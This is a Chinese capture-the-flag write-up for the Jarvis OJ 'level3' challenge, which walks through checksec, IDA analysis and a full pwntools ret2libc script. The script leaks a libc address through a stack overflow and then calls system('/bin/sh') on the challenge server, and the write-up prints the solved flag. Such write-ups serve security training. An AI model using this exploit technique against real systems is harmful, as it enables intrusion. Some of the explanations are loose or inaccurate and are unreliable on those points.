jarvis oj level3

  1. 首先先了解一下libc库的知识详情请移步大佬总结

  2. 了解一下plt和got表详情请移步大佬总结

  3. 然后是做题过程首先老规矩在ubuntu中checksec+文件名查看有无什么保护机制和位数 jarvis oj level3_第1张图片

    Arch:说明这个文件的属性是什么,说明是32位的程序。

    Stack:canary,这个主要是说栈保护的东西,所利用的东西就是相当于网站的cookie,linux中把这种cookie信息称为canary,所以如果开启了这个,就一般不可以执行shellcode了。

    RELRO:设置符号重定向表格为只读,或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。如果RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。

    NX(DEP)即No-eXecute(不可执行)的意思,同样的,如果NX开启后,溢出转到shellcode以后,由于开启了不可执行,所以cpu就会抛出异常,而不去执行恶意指令。

    PIE(ASLR)地址分布随机化

  4. 然后使用IDA打开这个文件,先找到主文件main函数 然后按tab或者f5键查看伪代码(C语言部分)看到vulnerable_function这就是容易被找到的点 栈漏洞大部分都是这样套路 然后是shift 加f12查看字符串 找system和bin/sh这两个我们经常利用的地址 额鹅鹅鹅发都没有 这就需要我们去利用libc库去找到他们的真实的地址 注意我说的是真实的地址jarvis oj level3_第2张图片

  5. 因为他的mian函数的地址是固定的所以我的写脚本就用它去找到他们的地址 这个write函数是可写入的意思 我们利用mian函数在libc中地址去找到他所属函数地址
    也就是system的地址和bin/sh的地址去利用他们两个的真实地址来留后门shellcode 去获取shell 找到flag

  6. 怎么确定libc库的地址????这个时候就需要我们利用bss端了(BSS段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域)所以我们就通过bss去确定got表的真实地址jarvis oj level3_第3张图片

  7. 脚本奉上

from pwn import*
context.log_level="DEBUG"
p=remote('pwn2.jarvisoj.com',9879)
elf=ELF("level3")
plt_write=elf.plt["write"]
main_addr=0x08048484
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(elf.got["write"]) + p32(4)
p.send(payload)
write_addr=u32(p.recv(4))
print "write_addr="+hex(write_addr)
libc=ELF("libc-2.19.so")
bss_addr=0x0804a024
libc_system=libc.symbols["system"]
libc_binsh=next(libc.search("/bin/sh"))
libc_write=libc.symbols["write"]
system_addr=write_addr-libc_write+libc_system
binsh_addr=write_addr-libc_write+libc_binsh
print "system_addr="+hex(system_addr)
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(system_addr) + p32(0) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

  1. 最后运行一下脚本 ls 然后cat flag就出来了
CTF{d85346df5770f56f69025bc3f5f1d3d0}

你可能感兴趣的:(pwn,栈溢出)